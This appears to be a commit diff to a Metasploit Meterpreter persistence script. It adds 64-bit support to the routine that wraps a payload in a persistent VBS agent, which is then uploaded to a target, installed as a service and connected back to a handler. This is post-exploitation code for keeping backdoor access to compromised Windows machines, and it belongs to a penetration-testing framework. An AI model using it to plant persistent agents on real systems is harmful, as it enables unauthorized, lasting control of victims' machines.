@@ -72,13 +72,23 @@ def create_payload(payload_type,lhost,lport)
72
72
73
73
# Function for Creating persistent script
74
74
#-------------------------------------------------------------------------------
75
- def create_script ( delay , altexe , raw )
76
- if altexe
77
- vbs = ::Msf ::Util ::EXE . to_win32pe_vbs ( @client . framework , raw ,
78
- { :persist => true , :delay => delay , :template => altexe } )
75
+ def create_script ( delay , altexe , raw , is_x64 )
76
+ if is_x64
77
+ if altexe
78
+ vbs = ::Msf ::Util ::EXE . to_win64pe_vbs ( @client . framework , raw ,
79
+ { :persist => true , :delay => delay , :template => altexe } )
80
+ else
81
+ vbs = ::Msf ::Util ::EXE . to_win64pe_vbs ( @client . framework , raw ,
82
+ { :persist => true , :delay => delay } )
83
+ end
79
84
else
80
- vbs = ::Msf ::Util ::EXE . to_win32pe_vbs ( @client . framework , raw ,
81
- { :persist => true , :delay => delay } )
85
+ if altexe
86
+ vbs = ::Msf ::Util ::EXE . to_win32pe_vbs ( @client . framework , raw ,
87
+ { :persist => true , :delay => delay , :template => altexe } )
88
+ else
89
+ vbs = ::Msf ::Util ::EXE . to_win32pe_vbs ( @client . framework , raw ,
90
+ { :persist => true , :delay => delay } )
91
+ end
82
92
end
83
93
print_status ( "Persistent agent script is #{ vbs . length } bytes long" )
84
94
return vbs
@@ -224,7 +234,7 @@ def install_as_service(script_on_target)
224
234
print_status ( "Resource file for cleanup created at #{ @clean_up_rc } " )
225
235
# Create and Upload Payload
226
236
raw = create_payload ( payload_type , rhost , rport )
227
- script = create_script ( delay , altexe , raw )
237
+ script = create_script ( delay , altexe , raw , payload_type . include? ( '/x64/' ) )
228
238
script_on_target = write_script_to_target ( target_dir , script )
229
239
230
240
# Start Multi/Handler
0 commit comments